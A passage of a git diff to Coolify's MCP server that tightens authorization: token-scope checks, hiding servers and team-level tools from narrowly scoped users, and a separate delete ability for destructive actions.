- * Abilities that team members must not exercise (parity with ApiAbility). - * - * @var array - */ - private const MEMBER_DISALLOWED_ABILITIES = [ - 'root', - 'write', - 'write:sensitive', - 'deploy', - 'read:sensitive', - ]; - protected function ensureAbility(Request $request, string $ability = 'read', ?string $tool = null): ?Response { $user = $request->user(); @@ -30,30 +21,20 @@ trait ResolvesTeam } $token = $user->currentAccessToken(); - if (! $token) { + if (! $token || $token->team_id === null) { $this->auditMcpTool($request, $tool, 'denied', ['reason' => 'invalid_token']); return Response::error('Invalid token.'); } - $teamId = $token->team_id; - if ($teamId !== null) { - // Fresh pivot lookup (avoid stale $user->teams cache after role changes). - $role = $user->teams()->where('teams.id', $teamId)->first()?->pivot?->role; - $isAdminOrOwner = in_array($role, ['admin', 'owner'], true); + // Same check as api.token.team, for tools that run without the HTTP middleware. + if (! EnsureTokenBelongsToCurrentTeamMember::tokenWithinCreatorAccess($user, $token, (int) $token->team_id)) { + $this->auditMcpTool($request, $tool, 'denied', [ + 'reason' => 'token_exceeds_access', + 'required_ability' => $ability, + ]); - if (! $isAdminOrOwner) { - $tokenAbilities = $token->abilities ?? []; - $disallowed = array_intersect($tokenAbilities, self::MEMBER_DISALLOWED_ABILITIES); - if ($disallowed !== [] || in_array($ability, self::MEMBER_DISALLOWED_ABILITIES, true)) { - $this->auditMcpTool($request, $tool, 'denied', [ - 'reason' => 'member_role', - 'required_ability' => $ability, - ]); - - return Response::error('Missing required team role.'); - } - } + return Response::error(EnsureTokenBelongsToCurrentTeamMember::EXCEEDS_ACCESS_MESSAGE); } if ($token->can('root') || $token->can($ability)) { @@ -93,6 +74,21 @@ trait ResolvesTeam return (int) $teamId; } + /** + * Servers of the team, or none for a token or member limited to some projects, environments, or resources. + * + * @return Builder + */ + protected function visibleServers(Request $request, int $teamId): Builder + { + $query = Server::whereTeamId($teamId); + if (! app(AccessResolver::class)->coversWholeTeam($request->user(), $teamId)) { + $query->whereRaw('1 = 0'); + } + + return $query; + } + protected function mcpSuccess(Request $request, Response $response, array $context = []): Response { $this->auditMcpTool($request, $this->name ?? null, 'success', $context); diff --git a/app/Mcp/Resources/InfrastructureOverviewResource.php b/app/Mcp/Resources/InfrastructureOverviewResource.php index f2430b1ab3..0e44ca8750 100644 --- a/app/Mcp/Resources/InfrastructureOverviewResource.php +++ b/app/Mcp/Resources/InfrastructureOverviewResource.php @@ -32,7 +32,7 @@ class InfrastructureOverviewResource extends Resource return Response::error('Invalid token.'); } - $servers = Server::whereTeamId($teamId) + $servers = $this->visibleServers($request, $teamId) ->with('settings:id,server_id,is_reachable,is_usable') ->get() ->map(fn (Server $s) => [ diff --git a/app/Mcp/Servers/CoolifyServer.php b/app/Mcp/Servers/CoolifyServer.php index 115b36c0fc..a89f412b6b 100644 --- a/app/Mcp/Servers/CoolifyServer.php +++ b/app/Mcp/Servers/CoolifyServer.php @@ -83,7 +83,9 @@ use App\Mcp\Tools\ManageStorage; use App\Mcp\Tools\ManageTags; use App\Mcp\Tools\RollbackApplication; use App\Mcp\Tools\SearchResources; +use App\Services\Access\AccessResolver; use Laravel\Mcp\Server; +use Laravel\Mcp\Server\ServerContext; use Laravel\Mcp\Server\Tool; class CoolifyServer extends Server @@ -117,7 +119,7 @@ Lifecycle (requires token ability **deploy**): - control (start|stop|restart; stop needs confirm=true) - deploy, cancel_deployment, rollback_application -Changes (requires token ability **write**): manage_* and create_* tools. They run the same REST API routes, with the same validation and permissions. Destructive actions need confirm=true: ask the user first. +Changes (requires token ability **write**, or **delete** for delete actions): manage_* and create_* tools. They run the same REST API routes, with the same validation and permissions. Destructive actions need confirm=true: ask the user first. Prompts: troubleshoot_application, explain_failed_deploy. Resources: coolify://overview, coolify://application/{uuid}. @@ -210,8 +212,64 @@ MD; GetServerMetrics::class, ]; + /** + * Tools for team-level objects. Tokens and members limited to some projects, environments, + * or resources do not get them (same rule as ApiAbility::SCOPED_ACCESS_ROUTES for REST). + * + * @var array> + */ + public const TEAM_LEVEL_TOOLS = [ + GetCurrentTeam::class, + ListTeamMembers::class, + ListServers::class, + GetServer::class, + GetServerDomains::class, + GetServerResources::class, + GetServerMetrics::class, + ListDestinations::class, + GetDestination::class, + ListTags::class, + ListGithubApps::class, + ListGithubRepositories::class, + ListGithubBranches::class, + ListAuditEvents::class, + ManageTags::class, + ManageServer::class, + ManageProxy::class, + DockerCleanup::class, + ManageDestination::class, + ManageRegistry::class, + ManagePrivateKey::class, + ManageS3Storage::class, + ManageGitSource::class, + CloudProvider::class, + ManageNotifications::class, + ]; + protected array $tools = self::TOOLS; + /** + * @return array> + */ + public static function toolsForCurrentActor(): array + { + $user = request()->user(); + $teamId = $user?->currentAccessToken()?->team_id; + + if ($user !== null && $teamId !== null && app(AccessResolver::class)->coversWholeTeam($user, (int) $teamId)) { + return self::TOOLS; + } + + return array_values(array_diff(self::TOOLS, self::TEAM_LEVEL_TOOLS)); + } + + public function createContext(): ServerContext + { + $this->tools = self::toolsForCurrentActor(); + + return parent::createContext(); + } + protected array $resources = [ InfrastructureOverviewResource::class, ApplicationResource::class, diff --git a/app/Mcp/Tools/CloudProvider.php b/app/Mcp/Tools/CloudProvider.php index 99b750ab70..304c6f3984 100644 --- a/app/Mcp/Tools/CloudProvider.php +++ b/app/Mcp/Tools/CloudProvider.php @@ -51,7 +51,7 @@ class CloudProvider extends RestActionTool 'get_token' => ['method' => 'GET', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'read', 'description' => 'one cloud provider token (no token value)'], 'create_token' => ['method' => 'POST', 'path' => 'cloud-tokens', 'ability' => 'write', 'description' => 'add a provider token; it is checked with the provider first (data: provider hetzner|digitalocean|vultr|hostinger, token, name)'], 'update_token' => ['method' => 'PATCH', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'write', 'description' => 'rename a provider token (data: name)'], - 'delete_token' => ['method' => 'DELETE', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a provider token that no server uses'], + 'delete_token' => ['method' => 'DELETE', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a provider token that no server uses'], 'validate_token' => ['method' => 'POST', 'path' => 'cloud-tokens/{uuid}/validate', 'ability' => 'write', 'description' => 'check a stored provider token with the provider'], 'catalog' => ['method' => 'GET', 'paths' => self::CATALOG_PATHS, 'ability' => 'read', 'description' => 'read a provider catalog; resource is _, for example hetzner_locations (data: cloud_provider_token_uuid)'], 'provision_server' => ['method' => 'POST', 'paths' => self::PROVISION_PATHS, 'ability' => 'write', 'confirm' => true, 'description' => 'create a new paid server at the provider and add it to Coolify; resource is the provider (data: cloud_provider_token_uuid, private_key_uuid, name, and the provider fields, for example location, server_type, image for hetzner; a cloud-init or post-install script or extra SSH keys need deploy ability)'], diff --git a/app/Mcp/Tools/CoolifyHelp.php b/app/Mcp/Tools/CoolifyHelp.php index effe2a4e50..c7caeb8bb2 100644 --- a/app/Mcp/Tools/CoolifyHelp.php +++ b/app/Mcp/Tools/CoolifyHelp.php @@ -157,7 +157,7 @@ class CoolifyHelp extends Tool */ private function visibleTools(): array { - return collect(CoolifyServer::TOOLS) + return collect(CoolifyServer::toolsForCurrentActor()) ->map(fn (string $class): Tool => app($class)) ->filter(fn (Tool $tool): bool => $tool->eligibleForRegistration()) ->mapWithKeys(fn (Tool $tool): array => [$tool->name() => [ diff --git a/app/Mcp/Tools/GetInfrastructureOverview.php b/app/Mcp/Tools/GetInfrastructureOverview.php index dea213425f..5bfa78b3a7 100644 --- a/app/Mcp/Tools/GetInfrastructureOverview.php +++ b/app/Mcp/Tools/GetInfrastructureOverview.php @@ -9,7 +9,6 @@ use App\Models\Application; use App\Models\ApplicationDeploymentQueue; use App\Models\Environment; use App\Models\Project; -use App\Models\Server; use App\Models\Service; use Illuminate\Contracts\JsonSchema\JsonSchema; use Illuminate\Support\Collection; @@ -40,7 +39,7 @@ class GetInfrastructureOverview extends Tool return $this->mcpError($request, 'Invalid token.'); } - $servers = Server::whereTeamId($teamId) + $servers = $this->visibleServers($request, $teamId) ->select('id', 'name', 'uuid', 'ip', 'description') ->with('settings:id,server_id,is_reachable,is_usable') ->get(); @@ -56,7 +55,7 @@ class GetInfrastructureOverview extends Tool ->values() ->all(); - $unreachableServers = Server::whereTeamId($teamId) + $unreachableServers = $this->visibleServers($request, $teamId) ->whereHas('settings', fn ($q) => $q->where('is_reachable', false)) ->count(); diff --git a/app/Mcp/Tools/ListSharedEnvKeys.php b/app/Mcp/Tools/ListSharedEnvKeys.php index beb8f7abc4..ea8713e161 100644 --- a/app/Mcp/Tools/ListSharedEnvKeys.php +++ b/app/Mcp/Tools/ListSharedEnvKeys.php @@ -2,6 +2,7 @@ namespace App\Mcp\Tools; +use App\Enums\AccessLevel; use App\Mcp\Concerns\BuildsResponse; use App\Mcp\Concerns\ResolvesTeam; use App\Models\Environment; @@ -46,7 +47,7 @@ class ListSharedEnvKeys extends Tool if ($scope === 'project') { $project = Project::where('team_id', $teamId)->where('uuid', $uuid)->first(); - if (! $project) { + if (! $project || ! $request->user()->canAccess(AccessLevel::Read, $project)) { return $this->mcpError($request, "Project [{$uuid}] not found.", ['resource_uuid' => $uuid]); } @@ -78,7 +79,7 @@ class ListSharedEnvKeys extends Tool } } - if (! $environment || (int) $environment->project?->team_id !== $teamId) { + if (! $environment || (int) $environment->project?->team_id !== $teamId || ! $request->user()->canAccess(AccessLevel::Read, $environment)) { return $this->mcpError($request, "Environment [{$uuid}] not found.", ['resource_uuid' => $uuid]); } diff --git a/app/Mcp/Tools/ListUnhealthyResources.php b/app/Mcp/Tools/ListUnhealthyResources.php index 3fd3ad56ed..a97875ac17 100644 --- a/app/Mcp/Tools/ListUnhealthyResources.php +++ b/app/Mcp/Tools/ListUnhealthyResources.php @@ -50,7 +50,7 @@ class ListUnhealthyResources extends Tool $args = $this->paginationArgs($request); // --- Servers (small set; filter via settings) --- - $unhealthyServers = Server::whereTeamId($teamId) + $unhealthyServers = $this->visibleServers($request, $teamId) ->with('settings:id,server_id,is_reachable,is_usable') ->whereHas('settings', function ($q) { $q->where('is_reachable', false)->orWhere('is_usable', false); diff --git a/app/Mcp/Tools/ManageApplication.php b/app/Mcp/Tools/ManageApplication.php index 71758d80e0..ea3d0b593e 100644 --- a/app/Mcp/Tools/ManageApplication.php +++ b/app/Mcp/Tools/ManageApplication.php @@ -11,17 +11,17 @@ class ManageApplication extends RestActionTool { protected string $name = 'manage_application'; - protected string $description = 'Update, delete, clone, or move an application of the authenticated team, or add or remove an additional server destination. Requires write ability; delete, instant_deploy, manual webhook secrets, and clone_volumes also need deploy. Same validation and permissions as the REST API.'; + protected string $description = 'Update, delete, clone, or move an application of the authenticated team, or add or remove an additional server destination. Requires write ability, and delete ability for delete; instant_deploy, manual webhook secrets, and clone_volumes also need deploy. Same validation and permissions as the REST API.'; protected function actions(): array { return [ 'update' => ['method' => 'PATCH', 'path' => 'applications/{uuid}', 'ability' => 'write', 'description' => 'update application settings (data: same fields as the REST update, e.g. name, domains, git_branch, ports_exposes, build_command, is_container_label_readonly_enabled, include_coolify_default_variables; instant_deploy and manual_webhook_secret_* need deploy ability)'], - 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}', 'ability' => 'deploy', 'confirm' => true, 'description' => 'delete the application and its containers (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup)'], + 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the application and its containers (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup)'], 'clone' => ['method' => 'POST', 'path' => 'applications/{uuid}/clone', 'ability' => 'write', 'description' => 'clone the application to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes needs deploy ability)'], 'move' => ['method' => 'POST', 'path' => 'applications/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the application to another environment of the team (data: environment_uuid)'], 'add_server' => ['method' => 'POST', 'path' => 'applications/{uuid}/destinations', 'ability' => 'write', 'description' => 'attach an additional destination on another server (data: destination_uuid)'], - 'remove_server' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/destinations/{destination_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'detach an additional destination'], + 'remove_server' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/destinations/{destination_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'detach an additional destination'], ]; } diff --git a/app/Mcp/Tools/ManageBackup.php b/app/Mcp/Tools/ManageBackup.php index 1a9441f693..a53b88263f 100644 --- a/app/Mcp/Tools/ManageBackup.php +++ b/app/Mcp/Tools/ManageBackup.php @@ -18,8 +18,8 @@ class ManageBackup extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'databases/{uuid}/backups', 'ability' => 'write', 'description' => 'create a backup schedule (data: frequency, enabled, save_s3, s3_storage_uuid(s), retention fields, backup_now ...; backup_now needs deploy ability)'], 'update' => ['method' => 'PATCH', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}', 'ability' => 'write', 'description' => 'update a backup schedule; data.backup_now=true runs a backup now and needs deploy ability'], - 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a backup schedule and all its backup files (data.delete_s3=true also deletes S3 copies)'], - 'delete_execution' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete one backup execution and its file (data.delete_s3=true also deletes the S3 copy)'], + 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a backup schedule and all its backup files (data.delete_s3=true also deletes S3 copies)'], + 'delete_execution' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete one backup execution and its file (data.delete_s3=true also deletes the S3 copy)'], ]; } diff --git a/app/Mcp/Tools/ManageDatabase.php b/app/Mcp/Tools/ManageDatabase.php index e879c7f091..333f62f50b 100644 --- a/app/Mcp/Tools/ManageDatabase.php +++ b/app/Mcp/Tools/ManageDatabase.php @@ -11,13 +11,13 @@ class ManageDatabase extends RestActionTool { protected string $name = 'manage_database'; - protected string $description = 'Update, delete, clone, move, or import a backup into a standalone database of the authenticated team. Requires write ability; delete and import also need deploy, and so do instant_deploy, changing is_public, and clone_volumes. Same validation and permissions as the REST API.'; + protected string $description = 'Update, delete, clone, move, or import a backup into a standalone database of the authenticated team. Requires write ability, and delete ability for delete; import also needs deploy, and so do instant_deploy, changing is_public, and clone_volumes. Same validation and permissions as the REST API.'; protected function actions(): array { return [ 'update' => ['method' => 'PATCH', 'path' => 'databases/{uuid}', 'ability' => 'write', 'description' => 'update database settings (data: name, description, image, is_public, public_port, public_port_timeout, limits_*, type credentials and *_conf fields, redact_all_env_values_in_logs, is_log_drain_enabled, include_coolify_default_variables, instant_deploy; instant_deploy and changing is_public need deploy ability)'], - 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}', 'ability' => 'deploy', 'confirm' => true, 'description' => 'delete the database (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup; all default true)'], + 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the database (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup; all default true)'], 'clone' => ['method' => 'POST', 'path' => 'databases/{uuid}/clone', 'ability' => 'write', 'confirm' => true, 'description' => 'clone the database to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes stops the source database while volumes are copied and needs deploy ability)'], 'move' => ['method' => 'POST', 'path' => 'databases/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the database to another environment of the team (data: environment_uuid)'], 'import' => ['method' => 'POST', 'path' => 'databases/{uuid}/imports', 'ability' => 'deploy', 'confirm' => true, 'description' => 'import a backup into the database, can overwrite data (data: source s3 | server, s3_storage_uuid, path, dump_all, replace_existing, keep_owners, restore_mysql_users, sqlite_database); check progress with get_database_import'], diff --git a/app/Mcp/Tools/ManageDestination.php b/app/Mcp/Tools/ManageDestination.php index fa3f65f107..e7b60ddcfd 100644 --- a/app/Mcp/Tools/ManageDestination.php +++ b/app/Mcp/Tools/ManageDestination.php @@ -18,7 +18,7 @@ class ManageDestination extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'servers/{server_uuid}/destinations', 'ability' => 'write', 'description' => 'create a destination on a server (data: network, name, type standalone|swarm)'], 'update' => ['method' => 'PATCH', 'path' => 'destinations/{uuid}', 'ability' => 'write', 'description' => 'rename a destination (data: name)'], - 'delete' => ['method' => 'DELETE', 'path' => 'destinations/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a destination without resources and remove its Docker network'], + 'delete' => ['method' => 'DELETE', 'path' => 'destinations/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a destination without resources and remove its Docker network'], ]; } diff --git a/app/Mcp/Tools/ManageEnv.php b/app/Mcp/Tools/ManageEnv.php index 676afb81c2..8398e92c21 100644 --- a/app/Mcp/Tools/ManageEnv.php +++ b/app/Mcp/Tools/ManageEnv.php @@ -35,7 +35,7 @@ class ManageEnv extends RestActionTool 'application' => 'applications/{uuid}/envs/{env_uuid}', 'database' => 'databases/{uuid}/envs/{env_uuid}', 'service' => 'services/{uuid}/envs/{env_uuid}', - ], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a variable by UUID'], + ], 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a variable by UUID'], ]; } diff --git a/app/Mcp/Tools/ManageGitSource.php b/app/Mcp/Tools/ManageGitSource.php index 435d8950ff..ce20ed1978 100644 --- a/app/Mcp/Tools/ManageGitSource.php +++ b/app/Mcp/Tools/ManageGitSource.php @@ -19,7 +19,7 @@ class ManageGitSource extends RestActionTool 'list' => ['method' => 'GET', 'paths' => ['github' => 'github-apps', 'gitlab' => 'gitlab-apps'], 'ability' => 'read', 'description' => 'git apps of the team and system-wide apps'], 'create' => ['method' => 'POST', 'paths' => ['github' => 'github-apps', 'gitlab' => 'gitlab-apps'], 'ability' => 'write', 'description' => 'add a git app (github data: name, html_url, api_url, app_id, installation_id, client_id, client_secret, webhook_secret, private_key_uuid, organization, custom_user, custom_port; gitlab data: name, html_url, api_url, group_name, client_id, client_secret, webhook_token, redirect_uri, custom_user, custom_port)'], 'update' => ['method' => 'PATCH', 'paths' => ['github' => 'github-apps/{source_id}', 'gitlab' => 'gitlab-apps/{source_id}'], 'ability' => 'write', 'description' => 'update a git app of the team (data: same fields as create, all optional)'], - 'delete' => ['method' => 'DELETE', 'paths' => ['github' => 'github-apps/{source_id}', 'gitlab' => 'gitlab-apps/{source_id}'], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a git app of the team that no application uses'], + 'delete' => ['method' => 'DELETE', 'paths' => ['github' => 'github-apps/{source_id}', 'gitlab' => 'gitlab-apps/{source_id}'], 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a git app of the team that no application uses'], ]; } diff --git a/app/Mcp/Tools/ManagePreview.php b/app/Mcp/Tools/ManagePreview.php index e1f6700e61..fc8d501a25 100644 --- a/app/Mcp/Tools/ManagePreview.php +++ b/app/Mcp/Tools/ManagePreview.php @@ -11,14 +11,14 @@ class ManagePreview extends RestActionTool { protected string $name = 'manage_preview'; - protected string $description = 'Create (and deploy), update the domains of, or delete a pull request preview deployment of an application of the authenticated team. create and delete require deploy ability, update requires write. Same validation and permissions as the REST API.'; + protected string $description = 'Create (and deploy), update the domains of, or delete a pull request preview deployment of an application of the authenticated team. create requires deploy ability, update requires write, delete requires delete. Same validation and permissions as the REST API.'; protected function actions(): array { return [ 'create' => ['method' => 'POST', 'path' => 'applications/{uuid}/previews', 'ability' => 'deploy', 'description' => 'open or redeploy a preview (data: pull_request_id, pull_request_html_url, git_type, commit, docker_tag, force, instant_deploy)'], 'update' => ['method' => 'PATCH', 'path' => 'applications/{uuid}/previews/{pull_request_id}', 'ability' => 'write', 'description' => 'replace preview domains (data: domains, or docker_compose_domains for compose apps, force_domain_override)'], - 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/previews/{pull_request_id}', 'ability' => 'deploy', 'confirm' => true, 'description' => 'delete the preview and its containers'], + 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/previews/{pull_request_id}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the preview and its containers'], ]; } diff --git a/app/Mcp/Tools/ManagePrivateKey.php b/app/Mcp/Tools/ManagePrivateKey.php index 36a9ced91b..782fa243b0 100644 --- a/app/Mcp/Tools/ManagePrivateKey.php +++ b/app/Mcp/Tools/ManagePrivateKey.php @@ -20,7 +20,7 @@ class ManagePrivateKey extends RestActionTool 'get' => ['method' => 'GET', 'path' => 'security/keys/{uuid}', 'ability' => 'read', 'description' => 'one private key (no key material)'], 'create' => ['method' => 'POST', 'path' => 'security/keys', 'ability' => 'write', 'description' => 'add a private key (data: private_key PEM or base64, name, description)'], 'update' => ['method' => 'PATCH', 'path' => 'security/keys/{uuid}', 'ability' => 'write', 'description' => 'update a private key (data: name, description; private_key only to replace the key)'], - 'delete' => ['method' => 'DELETE', 'path' => 'security/keys/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a private key that is not in use'], + 'delete' => ['method' => 'DELETE', 'path' => 'security/keys/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a private key that is not in use'], ]; } diff --git a/app/Mcp/Tools/ManageProject.php b/app/Mcp/Tools/ManageProject.php index 6d84a61c5d..79cf90b788 100644 --- a/app/Mcp/Tools/ManageProject.php +++ b/app/Mcp/Tools/ManageProject.php @@ -18,10 +18,10 @@ class ManageProject extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'projects', 'ability' => 'write', 'description' => 'create a project (data: name, description)'], 'update' => ['method' => 'PATCH', 'path' => 'projects/{uuid}', 'ability' => 'write', 'description' => 'update a project (data: name, description)'], - 'delete' => ['method' => 'DELETE', 'path' => 'projects/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete an empty project'], + 'delete' => ['method' => 'DELETE', 'path' => 'projects/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete an empty project'], 'create_environment' => ['method' => 'POST', 'path' => 'projects/{uuid}/environments', 'ability' => 'write', 'description' => 'create an environment (data: name)'], 'update_environment' => ['method' => 'PATCH', 'path' => 'projects/{uuid}/environments/{environment_name_or_uuid}', 'ability' => 'write', 'description' => 'rename an environment (data: name)'], - 'delete_environment' => ['method' => 'DELETE', 'path' => 'projects/{uuid}/environments/{environment_name_or_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete an empty environment'], + 'delete_environment' => ['method' => 'DELETE', 'path' => 'projects/{uuid}/environments/{environment_name_or_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete an empty environment'], ]; } diff --git a/app/Mcp/Tools/ManageRegistry.php b/app/Mcp/Tools/ManageRegistry.php index 77b5457954..4fd94f0324 100644 --- a/app/Mcp/Tools/ManageRegistry.php +++ b/app/Mcp/Tools/ManageRegistry.php @@ -19,7 +19,7 @@ class ManageRegistry extends RestActionTool 'list' => ['method' => 'GET', 'path' => 'servers/{uuid}/registries', 'ability' => 'read:sensitive', 'description' => 'registry logins on the server (registry and username only)'], 'create' => ['method' => 'POST', 'path' => 'servers/{uuid}/registries', 'ability' => 'deploy', 'description' => 'log in to a registry on the server (data: registry, username, password)'], 'check' => ['method' => 'POST', 'path' => 'servers/{uuid}/registries/{registry}/check', 'ability' => 'write', 'description' => 'check that a registry login works'], - 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}/registries/{registry}', 'ability' => 'write', 'confirm' => true, 'description' => 'log out of a registry; private image pulls can fail afterwards'], + 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}/registries/{registry}', 'ability' => 'delete', 'confirm' => true, 'description' => 'log out of a registry; private image pulls can fail afterwards'], ]; } diff --git a/app/Mcp/Tools/ManageS3Storage.php b/app/Mcp/Tools/ManageS3Storage.php index 2f5a92970d..2e8c863fd7 100644 --- a/app/Mcp/Tools/ManageS3Storage.php +++ b/app/Mcp/Tools/ManageS3Storage.php @@ -20,7 +20,7 @@ class ManageS3Storage extends RestActionTool 'get' => ['method' => 'GET', 'path' => 's3-storages/{uuid}', 'ability' => 'read', 'description' => 'one S3 storage'], 'create' => ['method' => 'POST', 'path' => 's3-storages', 'ability' => 'write', 'description' => 'add an S3 storage (data: name, endpoint, bucket, region, key, secret, description, is_usable)'], 'update' => ['method' => 'PATCH', 'path' => 's3-storages/{uuid}', 'ability' => 'write', 'description' => 'update an S3 storage (data: same fields as create, all optional)'], - 'delete' => ['method' => 'DELETE', 'path' => 's3-storages/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete an S3 storage'], + 'delete' => ['method' => 'DELETE', 'path' => 's3-storages/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete an S3 storage'], 'validate' => ['method' => 'POST', 'path' => 's3-storages/{uuid}/validate', 'ability' => 'write', 'description' => 'test the connection and save the result'], ]; } diff --git a/app/Mcp/Tools/ManageScheduledTask.php b/app/Mcp/Tools/ManageScheduledTask.php index e476b3f12a..0f4da5f91d 100644 --- a/app/Mcp/Tools/ManageScheduledTask.php +++ b/app/Mcp/Tools/ManageScheduledTask.php @@ -27,7 +27,7 @@ class ManageScheduledTask extends RestActionTool 'delete' => ['method' => 'DELETE', 'paths' => [ 'application' => 'applications/{uuid}/scheduled-tasks/{task_uuid}', 'service' => 'services/{uuid}/scheduled-tasks/{task_uuid}', - ], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a scheduled task'], + ], 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a scheduled task'], 'execute' => ['method' => 'POST', 'paths' => [ 'application' => 'applications/{uuid}/scheduled-tasks/{task_uuid}/execute', 'service' => 'services/{uuid}/scheduled-tasks/{task_uuid}/execute', diff --git a/app/Mcp/Tools/ManageServer.php b/app/Mcp/Tools/ManageServer.php index 31f8acd5d1..fe53d77d35 100644 --- a/app/Mcp/Tools/ManageServer.php +++ b/app/Mcp/Tools/ManageServer.php @@ -11,14 +11,14 @@ class ManageServer extends RestActionTool { protected string $name = 'manage_server'; - protected string $description = 'Add, update, delete, or validate a server of the authenticated team. Requires write ability; changing proxy_type, deleting with force or delete_from_provider, and validating with install also need deploy. Same validation and permissions as the REST API.'; + protected string $description = 'Add, update, delete, or validate a server of the authenticated team. Requires write ability, and delete ability for delete; changing proxy_type, deleting with force or delete_from_provider, and validating with install also need deploy. Same validation and permissions as the REST API.'; protected function actions(): array { return [ 'create' => ['method' => 'POST', 'path' => 'servers', 'ability' => 'write', 'description' => 'add a server (data: ip, private_key_uuid, name, description, port, user, server_role, proxy_type, instant_validate)'], 'update' => ['method' => 'PATCH', 'path' => 'servers/{uuid}', 'ability' => 'write', 'description' => 'update a server (data: name, description, ip, port, user, private_key_uuid, server_role, proxy_type, concurrent_builds, dynamic_timeout, deployment_queue_limit, connection_timeout, is_terminal_enabled, server_disk_usage_*, wildcard_domain, server_timezone, backup_compression_cpu_percentage; changing proxy_type needs deploy ability)'], - 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a server without resources (the Coolify host cannot be deleted)'], + 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a server without resources (the Coolify host cannot be deleted)'], 'validate' => ['method' => 'POST', 'path' => 'servers/{uuid}/validate', 'ability' => 'write', 'description' => 'start a server validation (data: install=true also installs Docker and needs deploy ability)'], ]; } diff --git a/app/Mcp/Tools/ManageService.php b/app/Mcp/Tools/ManageService.php index f7868dea4f..1b2dd1ddf8 100644 --- a/app/Mcp/Tools/ManageService.php +++ b/app/Mcp/Tools/ManageService.php @@ -11,13 +11,13 @@ class ManageService extends RestActionTool { protected string $name = 'manage_service'; - protected string $description = 'Update, delete, clone, or move a service of the authenticated team, update one of its applications or databases, or import a backup into a service database. Requires write ability; delete and import_database also need deploy, and so do instant_deploy, changing is_public of a service database, and clone_volumes. Same validation and permissions as the REST API.'; + protected string $description = 'Update, delete, clone, or move a service of the authenticated team, update one of its applications or databases, or import a backup into a service database. Requires write ability, and delete ability for delete; import_database also needs deploy, and so do instant_deploy, changing is_public of a service database, and clone_volumes. Same validation and permissions as the REST API.'; protected function actions(): array { return [ 'update' => ['method' => 'PATCH', 'path' => 'services/{uuid}', 'ability' => 'write', 'description' => 'update the service (data: name, description, docker_compose_raw base64, connect_to_docker_network, urls, force_domain_override, is_container_label_escape_enabled, include_coolify_default_variables, redact_all_env_values_in_logs, instant_deploy; instant_deploy needs deploy ability)'], - 'delete' => ['method' => 'DELETE', 'path' => 'services/{uuid}', 'ability' => 'deploy', 'confirm' => true, 'description' => 'delete the service (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup)'], + 'delete' => ['method' => 'DELETE', 'path' => 'services/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the service (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup)'], 'clone' => ['method' => 'POST', 'path' => 'services/{uuid}/clone', 'ability' => 'write', 'confirm' => true, 'description' => 'clone the service to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes stops the source service while volumes are copied and needs deploy ability)'], 'move' => ['method' => 'POST', 'path' => 